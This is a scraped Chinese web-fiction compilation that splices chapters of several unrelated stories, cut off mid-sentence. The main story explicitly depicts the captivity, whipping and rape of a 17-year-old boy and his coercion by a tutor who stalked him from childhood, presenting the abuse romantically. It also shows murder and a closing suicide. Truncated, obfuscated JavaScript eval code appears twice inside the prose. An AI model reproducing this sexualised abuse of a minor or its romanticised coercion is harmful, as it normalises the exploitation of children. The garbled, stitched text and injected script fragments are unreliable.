于是两人之间的气氛别扭又和谐,奇怪极了,照别人的话讲就是——周瑜打黄盖,一个愿打一个愿挨。 可日子不是这么过的,这僵硬的气氛总会由那个实在受不住的人来打破,很明显,这个人是周鹤。 “贺舟,我今年才17岁,我的人生不应该是这样的。最起码,不应该是连房门都出不了的。”周鹤冒着被贺舟狠狠惩罚一顿的风险,看着贺舟忙碌的背影说道,“你说你喜欢我,可是你想没想过这种行为不会让我对你产生好感,我只会越来越讨厌你。”周鹤无比佩服自己,在这种情况下还能理智的跟他谈判。 他看到那个忙着盛饭的背影停了下来,他的心也跟着顿了一下。他看着贺舟出了房门,回来的时候手上拿着钥匙,随后……他的脚铐被打开了。 说实话他今天只是抱着试试的态度跟他说这些话,完全没想到他会这么快答应了。 “鹤鹤,我会让你看到我的真心,但我不希望我的真心变成你威胁我的把柄。”,贺舟轻轻的抚摸着周鹤被脚铐磨破的地方,眼睛死盯着周鹤,仿佛是要透过这双眼睛看到他内心最深处的想法。 那天之后,周鹤被允许出门了。 他一开始并不相信周鹤会这么轻易放自己自由,直到他看到跟踪在自己身后的几人。 哦,这样才正常嘛。 周鹤想逃,但是他可悲的发现,他没亲人,没朋友,被绑架后更是身无分文。他似乎没有任何后路。 算了,怎么活不是活,都一样令人作呕。 周鹤躺平了。 之后的日子似乎没自己想的那么难熬。贺舟不再像以前一样强势,他会给足够的尊重和自由,他不再强迫自己做自己不想做的事,并且主动提出要和他分房睡。 那些跟踪他的人,从五个,变成四个,三个,两个……直到他出门不用再受任何限制。要知道,这些人可是贺舟精心训练出的“狗”,没有贺舟发话,这些人根本不敢松懈。 贺舟这是……他所谓的真心? 呵,可笑至极。以为把流浪狗虐待一顿过后,再给它疗伤,狗就会跪舔他吗? 周鹤知道自己没有后路,他便给自己谋后路。 他开始以各种理由让贺舟给自己现金,但每次出去之后他只不过是在附近公园坐一会儿就回去了。他把这些钱全部藏在了床铺下面,日积月累,总有一天能够自己出逃了。 两个月后,终于被周鹤等来了机会。 那天贺舟没去上班,他说要带周鹤去见他的母亲。 贺舟带周鹤来到一处墓地,照片上的女人长的跟贺舟有三分相似,但是少了一丝冷峻,更多的是温婉可人。 “妈,我来看你了。”即使在这个时候,贺舟浑身依旧散发出生人勿近的气场,就好像……两人并不熟一样。 “你不是说,对自己喜欢的人,一定要学会尊重吗?我有在慢慢学了。” “我记得你死前跟我说,在这个家你感受不到一点烟火气息,我那时候完全不懂你所谓的‘烟火气’到底是什么,直到我的生活有了鹤鹤的参与。” 周鹤的心微微颤动了一下,这就是被人需要的感觉?确实挺美妙,但远远比不上自由更让人向往。 …… 贺舟带周鹤回家后,拿出一瓶酒想邀他一同共饮,但是周鹤拒绝了,他不会喝酒。 贺舟今天似乎兴致很高,即使一个人喝酒也全然没有不悦的感觉。 他边喝边同自己讲他的母亲,他说他的母亲是自杀死的,在自己六岁的时候。他那时候觉得自己母亲是无比的狠心,居然抛下自己年幼的儿子和深爱她的丈夫就这么走了。直到他从外祖父的口中听到父亲与母亲的故事。 母亲年轻时是有自己喜欢的人的,但那个人不是父亲。父亲这人偏执又疯狂,他先是设计逼走了母亲爱慕之人,又强取豪夺了母亲。当然,以父亲的权利和地位,他有资格这么做。外祖父当时什么都没有,他想帮自己的女儿却又什么都做不了。 所以他把这些告诉贺舟,想让贺舟离开贺家,但贺舟拒绝了,他不想没有母亲的同时还离开父亲,毕竟他当时只是一个七岁孩童。 在那不久,外祖父也去世了,怀着对女儿深深的愧疚,上吊了。 …… 贺舟喝醉了,他爬在桌子上开始胡言乱语。 周鹤知道自己的机会来了。 周鹤在脑海中模拟过无数次逃跑的景象,无一不是惊心动魄的。但现实却是如此的轻而易举,轻松到让人觉得反常。 深知山有虎,偏往虎山行。 周鹤不可能错过这一次机会的,他快疯掉了。 他收拾好自己早就准备好的□□和存的现金,飞速往离得最近的飞机场赶去,他要走远点,在自己可达范围内,走得越远越好。 周鹤买了一张通往遥城的票,从京城到遥城就算坐飞机也得一整天。而且遥城到处是山,经济相当落后,像贺舟这种拥有泼天富贵的人是不会屑于到那里找一个不一定能找到的人的。他到了遥城,会去到一个村庄,对那里的人说是城里批下来的支教。那里没有网络,就算是村长没收到消息也不会有质疑的,毕竟愿意到村里当老师的寥寥无几,教育资源最是稀缺。他把一切都计划好了,如果贺舟没有找来,一切都会顺利成章的进行。 但是他可是周鹤呀!他所期盼的事怎么可能会实现呢? 贺舟在飞机起飞前半小时找来了,准确来说,他一直都在,看着自己白日做梦。 周鹤都知道,贺舟根本没醉,他就是想看看自己是不是真的变老实了。但是周鹤就是想试试,万一成功了呢?他就自由了。 可是没有万一,他失败了,失败就要接受惩罚。 贺舟把周鹤拉到了卫生间的隔间里,周鹤被推到了墙上,背对着他。 “鹤鹤,你真的很不听话。” “你要我怎么听话?你强迫着我我还要跪舔你吗?!”周鹤头被贺舟一只手压在墙上,他不得不用手撑着墙壁,好上身体不会失去平衡。 “我对你难道不好吗?” 贺舟双手开始在周鹤身上游走,他想反抗,贺舟直接整个人压在他身上,让他使不上一点劲。 “那你也要看看我稀不稀罕。” 贺舟停了下来。就在周鹤以为他要放过自己了的时候,贺舟一把抽出了自己的皮带。 周鹤慌了,他下意识的要逃跑却发现门在外面关上了。 “跑啊,你怎么不跑了?” 也是啊,贺舟这么骄傲的人怎么可能再让自己的玩物从自己眼皮子底下逃走第二次? “鹤鹤,既然你自己学不乖,那就由我来教你。” 周鹤的手被绑住了,他被迫以一种屈辱的姿势趴在地上,心跳随着身后皮鞭的响声加速跳动。 “记住我给你的每一次疼。” 随着贺舟的尾音消失,皮鞭落到了周鹤身上。 每一鞭下来,周鹤都会疼的直打哆嗦,整整二十鞭。但是他都咬牙坚持下来了,没发出一点声音。 就在他以为快要结束了的时候,他的裤子被褪了下来,贺舟没给他一丝愣神的机会,直接就这么进去了。 周鹤忍不住闷哼出声。 ……疼,太疼了。 没扩张,没润滑,他整个人好像就这么被硬生生的劈成了两半。 贺舟开始横冲直撞,每一下都疼的周鹤眼睛直泛白光。 “鹤鹤,记住了吗?这就是逃跑的下场。”贺舟手指轻轻抚摸着周鹤的背,却又慢慢收紧手指,直到周鹤疼的叫出声,他才松开。 …… “鹤鹤,真想跟你有个孩子。” …… “宝贝你真的好紧。” …… 两个小时之后,贺舟抱着周鹤走出了机场,周鹤到了中间没撑住昏了过去。 他把周鹤放到车后座,耐心的帮他清理着自己留在他体内的□□。 “你要是一直都这么乖就好了。” 周鹤又被关了起来。 他有时候真的想笑自己是多么的愚蠢,摆着这么好的条件不要非要那狗屁自由。自由能给自己带来什么?他孤身一人就算恢复自由身又能怎样? 但是……凭什么?他凭什么要承受这些?他活在这个世界上已经够累了,为什么还要让贺舟再来折磨他? 周鹤终于被逼“疯”了,他倒要看看两个疯子在一起,到底谁先逼死谁。 他仿佛是变了一个人,开始无时无刻不粘着贺舟,只要有一刻没见到他,他就会用指甲把手掌掐的满是伤痕。 于是贺舟走到哪里都会带着周鹤。 周鹤的存在,让公司很多人对贺舟产生了不满,觉得他简直是鬼迷了心窍,居然连开会的时候都要带着这个拖油瓶。但是贺舟依旧是我行我素,对公司的流言蜚语毫不在乎,依旧把周鹤一直带在身边,周鹤比公司那帮老头的态度重要多了。 …… 又是一年冬季。 满天飞舞的雪花落在周鹤的发丝上,他觉得自己的心被这些雪花扰乱了。他一开始抱着两败俱伤的决心,要做那个祸国殃民的“妲己”。既然贺舟这么离不开他,那他就要扰的贺舟没能力留住自己。于是他开始在贺舟身边一直绕,制造各种流言,等着看贺舟被压垮的那一天。很幼稚对吧?可是他已经没有任何办法了。 还没等到那一天,周鹤发现自己居然真的“疯”了。 他开始庆幸自己还能被需要,庆幸自己还能有人陪。他大抵是病了。 就比如现在,有贺舟陪自己在街边看雪,他第一反应不是抗拒,而是心动! 贺舟看到周鹤鼻尖被冻得通红,整个脑袋围在围巾里,毛茸茸的,真是可爱极了。特别是他那双直勾勾盯着自己的眼睛,简直就是在引人犯罪。 他微微弯下腰,鼻尖与周鹤相撞, “以后京城的每一场雪,都有我陪你看好不好?” 周鹤不作答。 贺舟并不在意,他现在更香尝尝那张微张的小嘴是什么滋味,虽然他知道是软糯香甜的。 就在唇齿相撞的那一刻,一道声音打破了周遭的宁静。 “周鹤,你在做什么?” 周鹤立刻扭过头看向来人,随后一把推开了贺舟。 “鹿老师,我……” 贺舟饶有兴趣的看着这一场闹剧。家教老师看着曾经的同学在路边与男人拥吻,于是出来表示关心?那可是鹿鸣,他怎么会有这么好心? “鹿鸣,你什么时候爱掺和起别人的家事了?” 鹿鸣眼睛死死盯着周鹤,那眼神仿佛要把他烧出一个洞。 “周鹤,你在干什么?” 周鹤不再疯了,一味名叫尊严的良药治好了他的疯症。他果然还只是一个普通人,他做不到与曾经伤害过自己的人举案齐眉,更不可能顶着世俗的眼光跟贺舟相濡以沫。 “鹿老师,救我!我被非法拘禁了!”周鹤想朝鹿鸣跑去,但是还是慢了一步,他被贺舟掐住了后脖颈。 “周鹤我劝你先想清楚,离开的后果是不是你能承担的了的?”贺舟向鬼魅一样趴在他耳边,轻轻说道。 他吐出的气息让周鹤不寒而栗。 还没等周鹤做出反应,身后突然冒出一辆车朝两人冲去。 周鹤先被一股力量拉走,等他站稳脚跟的时候,发现贺舟已经倒在了血泊中。 他永远忘不掉那双眼睛,死死的盯着自己,里面满是爱恋,却又夹杂着狰狞。怪异,可怕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鹿鸣来当周鹤家教时,周鹤只有十岁,鹿鸣就算口味再重也不会对一个十岁的孩童存有不该有的心思,那鹿鸣接近他肯定就有别的目的。可是他只是周家的弃子,没有任何利用价值,顾汐……顾汐!对,顾汐在周家待了五年之久,那鹿鸣会不会根本就是打着当家教的幌子来接近顾汐的?那顾汐的死…… 周鹤再也坐不住了,他起身一下扑到鹿鸣身上,用手死死的掐住鹿鸣的脖子。 “你快说!你接近我究竟有什么目的!顾汐的死,跟你有没有关系?!” 鹿鸣没有挣扎,他就这样淡定的任周鹤锁着他的喉咙,直到周鹤在他的注视下溃不成军。 “如果我姨姨的死跟你有关,我一定会将你碎尸万段!” 鹿鸣轻轻的抬起周鹤的手,把那只手勾在自己的脖子上, “周鹤,顾汐的死跟我没有任何关系,”他把周鹤抱到自己腿上,“但是她的死绝对有蹊跷。你求我,我或许可以帮你查清楚。” “我求你……” 鹿鸣拿起周鹤的手,放到了下面灼热的地方,“小鹤,求人要有求人的态度。” “想睡我是吧?好。”周鹤慢慢靠近鹿鸣,嘴唇刚碰到就触电一样缩回来。 “跟贺舟这么久了,他都没教会你怎么取悦别人吗?” 鹿鸣一把捞过周鹤,狠狠朝周鹤吻了过去,力度大到像是要把他吞掉一样。他想更进一步尝尝周鹤的味道,但周鹤双唇紧闭,不给他一丝进一步探索的机会。鹿鸣一把捏住周鹤的下巴,力度大到周鹤不得已张开了嘴巴,鹿鸣借此机会趁虚而入。 司机识趣的把车内挡板升了起来。 “脱了。” …… “叫出来!叫我名字宝贝,记清楚现在占有你的是谁!”鹿鸣深深一顶。 “鹿……鹿鸣……呃……” “你知道吗?我一开始居然妄想等你到18,再慢慢追你,慢慢让你接受我还真是可笑。只要我一天不关着你,你就一天不会老实。” …… “下次让你在上面好不好?让你好好感受一下我和贺舟,到底谁能让你爽。” …… 鹿鸣并没有把周鹤直接带回家里,而是带他进了一所名叫“归夜”的夜店,这里门面上看着普通的不能再普通,实则内里却别有洞天,装饰豪华奢侈,看着完全不像夜店。 这里人群涌动,男人女人们都跟着舞台上不停扭动身姿的舞女狂欢着,靡乱不已。 鹿鸣带他到了二楼的VIP室,房间里的人看到来人都纷纷起身让座,有人打他玩笑的尺度却又把握的刚刚好,既能活跃气氛又不会让人感到尴尬。 “咱们鹿大少爷今天又被哪枝桃花绊住脚了?可又迟到了哈。” “得,这次看来真逃不掉了。那我就自罚三杯。” 说是他自罚三杯,却把酒都推到了周鹤面前。 周鹤从小到大没喝过酒,对酒更是一点都不了解,他完全不知道眼前的酒对他一滴酒未沾过的人来讲,可真的就是一杯就倒了。 但是他推脱不了,他还有事要求鹿鸣。 “哎鹿哥,你这可就不仗义了呀。” “我家宝贝管的可宽着呢,这酒……可是他自愿挡的。”鹿鸣眼神转向周鹤。 周鹤一口气把眼前的三杯酒喝完,呛的他直咳嗽。 后来周鹤醉了,鹿鸣就提前带着人走了。 路上,鹿鸣把车窗全打开了,冰冷的夜风吹醒了醉酒的人。 “醒了?知道我今天为什么带你来这吗?房间里的每一个人看着都人模狗样,实际上一个比一个会玩。如果哪一天你背叛我了,我就挑一个把你送给他好不好?所以让他们一起上? 。“别废话,答应我的事什么时候能查清楚?” 他周鹤是懦弱,被人抽了一顿鞭子跑都不敢跑,安心当起别人的狗来了。但是就算是狗也会护食的,顾汐就是他不能触碰的底线。 “周鹤,别忘了现在是你求我,你以为你挨了一顿草就能翻身做主人了?”鹿鸣两指夹着烟,慵懒的朝周鹤吐出一口烟圈。“你跟贺舟那笔账我还没跟你算呢。” “怎么?我跟谁做还要经过你的同意?” 鹿鸣漫不经心的冷哼一声,可眼底的暴怒却暴露了他此刻的心情。他抬起手把燃尽的烟悬到周鹤锁骨的上空,随后毫不犹豫的压了下去。 “小朋友还真是长大了,都敢跟老师顶嘴了。可你在老师眼里永远都是个小孩儿呢,小孩儿说错话了,就是要接受惩罚的。” 周鹤疼的出了一身冷汗,最后却诡异的笑出了声。 “老师教训的是。那学生现在有一件事搞不明白,老师能不能帮学生答疑解惑呢?” 鹿鸣先是被周鹤的态度惊的一愣,随后又兀自笑了,周鹤能吸引到他的,不就是这么一点吗?对自己毫不在乎,对爱的人却可以付出所有甚至可以把自己也全盘托出。他缺的,不就是这样一份真挚的感情吗? “你想要的答案,很快就能见到了。” 鹿鸣没有再在路上浪费时间,直接一路飙回了别墅。 鹿鸣带着周鹤来到了为他准备好多年的地下室。 周鹤被地下室的景象惊呆了。从一楼通往地下室的楼梯墙边挂满了他从11岁到16岁照片,笑着的,哭着的,生气的……到了地下室,里面有一张巨大的帷幕,和一台投影仪,而旁边就是各种不忍直视的情p用品,还有一张桌子和一张带着铁链的床。 周鹤甚至已经想到他之后的日子将会有多么的煎熬,但是为了顾汐,前面就是火坑,他也得跳。 “喜欢吗?这是我为你精心打造的极乐之地。”鹿鸣像是满意极了他这“伟大的”作品,伸出双手极力的向周鹤展示着。 “你知道的鹿老师,再好的东西也得有心情欣赏才行。” 鹿鸣哪里会不明白周鹤说的什么。无所谓了,反正周鹤人都已经在这里了,就算他当年再处心积虑又能怎样,周鹤已经跑不掉了。 “你说得对。”鹿鸣从桌子的抽屉里拿出一沓资料,“小鹤,知道我为什么放着好好的少爷不做去做你的家教吗?因为少爷这个位置已经满足不了我的野心了。当时你爸,也就是周字阳。成事不足,败事有余的东西,为了一个女人竟然和黑市扯上了关系。要知道周家可是一直走的白道,要是被调查出来可是要混不下去的。所以你爸第一时间把东西藏在了最不起眼的地方,也就是你那里。” 周鹤了然,难怪自己十一岁时从来没见过面的亲生父亲会突然回来,鹿鸣又突然冒出来做他家教。 “当时集团的人都认定鹿景会成为下一任接班人,可是凭什么?就凭他比我大了两岁?就凭他是我哥?我不服,所以我让他们给我建了一个狗屁娱乐公司做掩护,暗地里跟几个股东联手,势必要搞垮鹿景。周家,就是我要找的第一个合伙人。于是我到你家搜寻周字阳勾结黑市的证据,一找就是两年。不过还好苍天不负有心人,我找到了。那次之后你爸就被没收了所有股份和财产,他一时气愤,认定这件事就是顾汐抖出去的,因为那个家就只有她一个成年人,所以他就找人撞死了顾汐。说来也惨,顾汐到最后……” “所以是周字阳?”周鹤眼睛通红,死死盯着那几张资料。鹿鸣从来没见过他这样,像是恨透了所有人,像是要杀了周字阳一样。 周鹤的心口要痛死了,他的亲生父亲杀了他的顾汐姨,生他的人害了养他的人。 地狱空无人,恶魔在人间。 周字阳,贺舟,鹿鸣,他们没一个好东西。一个毁了他的前半生,另外两个,试图也毁掉他的后半生。他会让他们付出代价的,无论用什么样的手段! “小鹤,鹿氏已经是我的了,只要你永远忠诚于我,做掉周字阳,就跟碾死一只蚂蚁一样简单。” 是啊,只要有权有钱,做什么事不是易如反掌?可他只是周鹤,顾汐也只是顾汐,只是身处上层阶级眼中不起眼的小蚂蚁。但是蚂蚁都能爬到大象身上寻求庇护,他又何尝不可?况且,这里不正好有两只疯狗虎视眈眈的盯着他吗? “鹿鸣,我不喜欢周家,我不喜欢周字阳。你会帮我除掉他的对吧?”周鹤跪到鹿鸣腿边,抬起头用他那双湿漉漉的眼睛盯着鹿鸣。 鹿鸣是个疯子,他永远猜不到疯子的底线在哪儿,所以只能一步步试探。 “我帮了你,你能给我什么呢?”鹿鸣伸出手轻轻的抚摸着周鹤的脸颊,随后一路延展到他的脖领。 “鹿老师不就是想要一个听话的学生吗?我能给你。” 周鹤随手拿出那一堆工具里的其中一个,“老师,能教教我这个怎么用吗?” 鹿鸣看着周鹤手里的婴儿手臂般粗的棍状物,阴郁的笑了,“教你何须用的上它?老师亲自来就够了。” …… 周鹤什么都没有,只剩一具人人都能上的身体。他曾刚被贺舟玷污的那一段时间,无比的恶心自己的身体。他把一切不幸的来源都归结到了这具身体上,如果不是它,自己或许还能继续过着自己毫无意义的生活。但是后来他想明白了,世间最难读懂的书就是人心,没有一个罪犯会因为受害人的自我检讨而承认自己的过错,所以该有心里负担的从来不是他。况且这具身体不也给自己带来好处了吗?鹿鸣想要的无非是这具身体,而他也能利用它帮顾汐报仇,一场交易罢了,等各自达到了自己的目的,天南海北,再不相逢。 周鹤前一个星期一直被关在地下室,看不到一点阳光,感受不到一点人间的温度。如果不是鹿鸣每天一到家就不停的向自己索取着,他真以为自己来到地狱了呢。 “越来越喜欢你了,怎么办呢?” 鹿鸣有很多怪癖,比如他喜欢在做的过程中让周鹤睁开眼睛看着自己,比如他喜欢听周鹤喊他名字,再比如他喜欢看周鹤在高潮中情难自己的眼神……但是代价就是周鹤每天都被累的直不起腰。 后来周鹤白天被允许出来活动了。因为在地下室待久了,周鹤越来越容易生病,鹿鸣还打趣他说是晚上做的运动还不够多。 一个月过去了,鹿鸣告诉他事情有了新的进展。周老爷子死了,周字阳的存在就成了周字明的眼中刺,肉中钉。 “听说周家兄弟向来和睦,怎么会出现这样的局面?”周鹤不解的看着鹿鸣。 鹿鸣一把揽过周鹤,狠狠的往他唇上嘬了一口,“我家小鹤还真是天真。周字明如果不装成这样,周老爷子怎么安心把集团交给他?现在老头死了,集团自然就由周字明来接手,但是周老头还是把百分之四十的股份转给了周字阳,周字明要想得到全部股份,最好的办法就是除掉他。可我不仅想要周字阳死,我想让他们周家人全都到九泉之下作伴。” 周鹤被他听到的话震惊到了。照他所言,鹿鸣只需要帮他除掉周字阳就好了,而且现在的局势鹿鸣完全可以演一出借刀杀人,可是现在却又说要除掉周氏,可见他在鹿鸣心中的地位……这非常不利于他之后的计划。 “先不说这个,明天就是你十八岁生日,我带你出去玩好不好?” 生日,又是这个晦气的日子。但是鹿鸣向来喜怒无常,他不敢拒绝。但愿明天能无事发生吧。 次日,周鹤被带来了斗兽场。这里不仅是络宜最大的斗兽场,还是最黑的赌场。每天在这里因为还不起赌债而被打或者丧命的人不在少数。来这里的人不是混□□,就是家族势力庞大,黑白通吃。鹿鸣,显然是后者。 “今天这里,有一场大戏,你会喜欢的。”鹿鸣揽着周鹤的肩膀,轻轻说着。 “鹿哥今儿怎么有心情来这啊?”一个染着红发的男人朝鹿鸣打趣道。 周鹤见过他,在夜店那晚。 红发男人显然也认出了他,“呦,鹿哥这次还挺长情,居然坚持一个星期没换人了。” 周鹤听出了他话里的意思,有些抗拒的挣了挣他肩膀上的手。 鹿鸣感觉到了他的动作,一巴掌拍开了那个不会讲话的人。 “哎,鹿哥……” “滚!” 红毛挠挠头走开了。 “怎么?嫌弃我了?”鹿鸣捏着周鹤肩膀的手暗自用力。 “哪敢?你之前的事我无权过问。” 鹿鸣没再说什么带他上了二楼,但他感觉到鹿鸣好像更生气了。莫名其妙。 没一会儿,比赛开始了。 他以为斗兽场就是看一群疯狗互咬,没想要是让人跟兽斗!而且那几个人,好像都有些眼熟…… 周字阳死了,在周鹤被鹿鸣带走的第三个月。 周鹤亲眼看着周字阳被卸掉一条腿,之后跟狗一样爬到他身边让他救救他。他记得当时周字阳说“我是你的亲生父亲呀!”。 对呀,周字阳是他的亲生父亲,从他出生就把他视若累赘,之后对他放任不管,甚至还设计杀了他唯一在意的人的亲生父亲。 “你也就知道这个时候才能想起你是我父亲了,可是你配吗?草芥人命的东西连当人都不配还配当父亲?” 周鹤后退几步,随后周字阳被一枪毙命,是鹿鸣开的枪。 “小鹤,我帮你报仇了。”鹿鸣眼底是被血侵染的红,形如鬼魅。 “不,你忘了吗?你还活着。”周鹤走过去,从鹿鸣手里夺过那把手枪,之后枪口对准了鹿鸣的胸膛。 鹿鸣笑了,笑的凄凉。 他喜欢周鹤,一开始可能只是想要一份真挚的感情,可后来他喜欢上了这个人,从头到脚,哪里都喜欢。可这个人没有心,他如同傀儡一般活在这个世上,心早已随着那人死去。他有些恨这样没有心的周鹤。 “周鹤,可是我还不想死,我还没有得到完整的你我怎么能去死呢?”鹿鸣轻轻把枪口推至一边,上前拥住了周鹤。 “我要你爱我。” …… 鹿鸣敛去了他的疯狂,伪装成了贺舟的模样。他记得那个时候周鹤看贺舟的眼神是有心动的,或许他也会喜欢这样的自己? 他没有再限制周鹤的自由,因为他知道周鹤不会逃的,毕竟自己还活着。 直到第二年的某一个晚上,鹿鸣把背对着自己周鹤拉到自己的怀里,他感觉到胸口有温热的液体流出,但是他无暇顾及,他就快抱住周鹤了…… 终于,刀身深入他的胸口,终于,他抱住了周鹤。 他借着月光看到周鹤眼角有一滴泪滑过。 “小鹤,不要哭,不疼的。”鹿鸣轻轻擦拭着周鹤脸上的泪水,“小鹤,我知道你这么久不杀我,是不忍心对吧?可你会对我有所愧疚,却不会爱我。或许只有我死了你才能真正的在意我一次吧……小鹤,能亲亲我吗?……” 他感受到嘴唇有一片温热,他伸出舌头尝了尝,甜的,和他所希望的一样,但好像只有这一次是甜的…… 周鹤起身,看到鹿鸣闭上了眼。他再次感觉到了顾汐死时当时的心悸,虽没那时让人疼痛难忍,却也再不想感受第三次。 鹿鸣说的对,他是不忍心杀他,却不是因为愧疚,而是舍不得。 他周鹤是个人,他有心,所以他能感受到鹿鸣对他的爱意。以至于时间越久,他越舍不得。但是不能再拖了,他无数次梦到顾汐哭着对他说她好疼,浑身被撕裂一般的疼。他再也受不住了,一边是爱意的拉扯,一边是亲情的折磨…… 于是他选择了第三者。 他所追求的人间烟火竟是这么的令人痛彻心扉,那再去触碰就是愚蠢至极了。 他拿着鹿鸣给他的钱回到了京城老房子那里,令人意想不到的是他在那里见到了贺舟。 昔日恨之入骨的人,经历一些事后再见却已是另一番心境,淡然,释怀。 周鹤刚想略过贺舟直接去拿东西,却听到了贺舟有礼貌的询问, “你好,请问你见过房子的主人吗?” 他失忆了?那也算是好事一桩了。 “他……不会回来了。” “为什么?” “因为他去找他的母亲了。” 他看到贺舟失落的走了。或许这样他就能放下了吧。 周鹤会房间拿过他去顾汐的合照,带着它走遍了千山万水。可是风景看多了,竟也觉得世间风景都如出一辙,令人乏味。看来,真的该去找顾汐了。 …… “经媒体报道,在我市通往遥城的列车轨道上发现了一具尸体,警方判断是卧轨身亡,画面惨不忍睹……” (全文完) 30. 第 37 章 ―― ―“跟我走吧” “秦同警官这边请。” 秦同此刻的表情有些难看, 一单绑架案, 绑人的是他多年未见的发小, 被绑的是他可怜的妹妹。 “能找到是在哪里开始实施犯罪的吗?” “从各地监控来看,最早看到嫌疑人和被绑人出现是在好乐超市,说起来有点很奇怪,”小小的警员知道被绑走的女孩子是这位素来被称为残忍冷酷黑脸大神警官的妹妹,所以他每一句话都有些踌躇,担心会不会哪里出纰漏,“嫌疑人似乎没有在意有监控的地方,反而是故意出现在有监控的地方。” “你是说,他故意想要被找到?” 这句话倒是有些暧昧,秦同说被找到,却没说被“我们找到”。 小小的警员看着秦同长官的黑气越冒越多,忍不住的咽了咽口水,他的小尾指开始颤抖,上司气场太强了。 “是的。” 虽然听起来有些无厘头,哪个犯罪的人还会故意露出破绽好让天敌警察叔叔找到, 尤其是这个人。 绑走秦同妹妹的秦同发小是个头脑十分聪明的人,秦同曾经无意夸奖过, “他要是不干这些事,迟早有一天能拿诺贝尔奖,或者说诺贝尔奖也不能证明他的什么。” 但户狼还是选择了这种高危职业,他游离法律制度之外,不断挑战高官权利,不断挑衅被涂抹恶心壁画的社会墙壁。 有人爱他,自然也有人恨死他。 秦同整理了下自己这身穿了将近七年的警衣,他把随身佩戴的枪掏了出来。 “秦同警官” “和第三队第四队的人说包围那座山头,我从后面上去。” “警官请您等一等,我喊人支” “不必。” 虽然这单绑架案好像很普通的样子,但是小小的警员莫名从秦同的背影感受到一种风雨欲来的强烈紧张感,让他心中不禁感慨,秦同警官不愧是做大事的人。 户狼逃到了一座不高的山上,与其说他是逃不如说他是随心选择了这里。 期待, 这个疯子在期待, 等会儿他就要见到另一个疯子了。 山虽然不高,但很原始,路很崎岖不平,完全是没有经过人加工而天然形成的。 “户狼!” 某处传来声音。 这声听起来很咬牙切齿。 秦同从后边上来正想着事情,不小心掉落在一个圈套里面,一看便知道是户狼设计的,秦同暴怒,要不是想着他的破事也会掉进这个破圈套。 他看了看这个洞的上方,距离不算很远,但他已经摔到腿了,加上这个洞不算特别大勉强只能容纳两个人,目前来说他有点行动不便。 “户狼。” 他又喊了声户狼的名字,这声是泄愤。 因为户狼从来没有使过类似这种不入流的小手段,理所当然的自认了解他的秦同也没有特意准备很齐全的装备。 不是他作为一名人民的好警官不负责,而是作为对手,他无需准备这些。 他甚至没有携带对讲机,因为他有种感觉这次可以和户狼碰到面,从三年前户狼闯入警局偷重要文件那天起,他已经和户狼彻底闹掰了,但是真的要把户狼抓起来关牢笼里去,他舍不得。 秦同舍不得的。 “户狼。” 他低沉的念了一声。 说不清里面的感情。 那年在警局,他暴怒的冲着户狼说,“我们永生不见!” 他永远忘记不了户狼的表情,那个比他还不可一世的人竟然露出很受伤的表情,那一瞬间让他感受到了户狼不是一头驰骋在沙漠的狂野野狼,不过是喜欢在夜光下自己舔毛的小狼崽罢了。 “你喊了我的名字三遍。” “户狼!” “第四遍了。” 从秦同进到山里面的第一刻起,户狼便跟在他身边了,他猛然跳了下来硬是和秦同面对面的挤在一起。 鼻尖对鼻尖, 眼神对眼神, 姿势既暧昧又危险。 “你曾说事不过三,一旦过三就是极,所以你是不是极其想我。” 回应户狼的是一拳,被重重打了拳的户狼表情变都没变,眼睛都没眨一下,他愈发靠近秦耳,比秦耳高一点的他低了下头来,贴着的嘴唇,用着舌头极其色情的滑过秦耳干燥的嘴唇, “你说永生不再见我,现在你还不是乖乖来找我了吗?” 秦耳从一见到户狼起,脑袋突然有些反应不过来,给他一拳完全是因为户狼越来越靠近自己,而自己身体本能做出的反应。 “嗒嗒嗒。” 脚步声从不远处传来, “秦同警官你在哪?秦欣欣小姐已被安全营救出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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31. 第 41 章 不知道是不是心理作用,似乎世界都要与你为敌。 怎么办呢。放弃吗。 为什么每个人都要阻止一个人去喜欢他喜欢的东西呢。 为什么每个人都要保护从来都不会不属于你的东西呢。 如果,但是没有。 沈若尘: 20160324晴 我很喜欢那个人干净的微笑。 很喜欢那个人生气时候的关心。 很喜欢那个人静静拥抱我的感觉。 我真的很喜欢他。 如果有那么一天,我再见到他的时候,他突然不笑了,突然以一种冷漠的表情对待我,那我一定会疯掉的。 “喂,你到底要颓废到什么时候!” “沈若尘,你醒醒吧。” “够了!你真的是够了……” 谁在说话,好烦,好烦……明知道我有起床气还故意来招惹我的人真的是该死。如果因为起床气杀了人,这算犯法吗? 啊!好吵,要是以前的话我就……嗯?我就干嘛呢,嘿嘿,真是傻。 烦人的脚步声渐渐远去,床上的人又陷入沉眠。 沈若尘: 20160325阴 要是醒不来就好了呢。这样的话我就不用每天每天的去想他了。 你不知道像一个人是很痛苦的事情吗。 拜托了,不要,不要再用那种,不要再用那种眼神看我了。 对不起对不起……对不起。 “上校!啧,你看看他,一天到晚就知道睡。只靠着输液而活着真是……” “别管他。让他去吧。再过2天他就出狱了。” “啧,真是麻烦。” 嫌麻烦的话,就不要把我关起来啊。沈暮里……暮里,你在哪里呢。 啊,暮里,我是不是又惹你不开心了。要是我没有没有让你去执行任务的话,那会不会就不一样了…… 沈若尘: 20160326雨 又是下雨天,又是下雨天。又是下雨天! 滚!滚开! 这不是我的错,如果不是你赌气,那我也不会让你执行任务。 不要!住手,把你的枪放下,不要对着暮里。 不要用枪对着暮里!他会怕…… “沈若尘,你是不是很愧疚啊。” “不过说到底,沈暮里还不是因为……啧,平常挺尸的人真是,一听到沈暮里这三个字就亢奋啊” “喂,别瞪我啊。干嘛呢?就算他还活着,你们俩都是男的。你又能怎么样。” 我能怎么样?暮里? 暮里,我要怎么办呢? 